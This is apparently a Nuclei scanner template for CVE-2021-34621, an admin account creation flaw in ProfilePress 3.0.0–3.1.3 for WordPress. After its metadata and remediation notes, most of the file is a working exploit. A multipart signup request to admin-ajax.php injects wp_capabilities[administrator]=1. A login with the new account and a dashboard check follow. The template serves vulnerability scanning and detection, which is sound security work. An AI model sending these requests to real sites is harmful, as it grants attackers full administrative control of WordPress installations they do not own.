WordPress ProfilePress 3.0.0-3.1.3 - Admin User Creation Weakness

id: CVE-2021-34621

info:
  name: WordPress ProfilePress  3.0.0-3.1.3 - Admin User Creation Weakness
  author: 0xsapra
  severity: critical
  description: ProfilePress WordPress plugin  is susceptible to a vulnerability in the user registration component in the ~/src/Classes/RegistrationAuth.php file that makes it possible for users to register on sites as an administrator.
  impact: |
    An attacker can exploit this vulnerability to create unauthorized admin accounts and gain full control over the WordPress site.
  remediation: |
    Update to the latest version of ProfilePress to fix the admin user creation weakness.
  reference:
    - https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34621
    - https://www.wordfence.com/blog/2021/06/easily-exploitable-critical-vulnerabilities-patched-in-profilepress-plugin/
    - http://packetstormsecurity.com/files/163973/WordPress-ProfilePress-3.1.3-Privilege-Escalation.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-34621
    cwe-id: CWE-306,CWE-269
    epss-score: 0.68862
    epss-percentile: 0.99353
    cpe: cpe:2.3:a:properfraction:profilepress:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: properfraction
    product: profilepress
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,packetstorm,intrusive,properfraction,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: multipart/form-data; boundary=---------------------------138742543134772812001999326589
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="reg_username"

        {{randstr}}
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="reg_email"

        {{randstr}}@interact.sh
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="reg_password"

        {{randstr}}@interact.sh
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="reg_password_present"

        true
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="reg_first_name"

        {{randstr}}@interact.sh
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="reg_last_name"

        {{randstr}}@interact.sh
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="_wp_http_referer"

        /wp/?page_id=18
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="pp_current_url"

        {{BaseURL}}
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="wp_capabilities[administrator]"

        1
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="signup_form_id"

        1
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="signup_referrer_page"


        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="action"

        pp_ajax_signup
        -----------------------------138742543134772812001999326589
        Content-Disposition: form-data; name="melange_id"


        -----------------------------138742543134772812001999326589--
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}

        log={{randstr}}@interact.sh&pwd={{randstr}}@interact.sh&wp-submit=Log+In
      - |
        GET /wp-admin/ HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - Welcome to your WordPress Dashboard

      - type: status
        status:
          - 200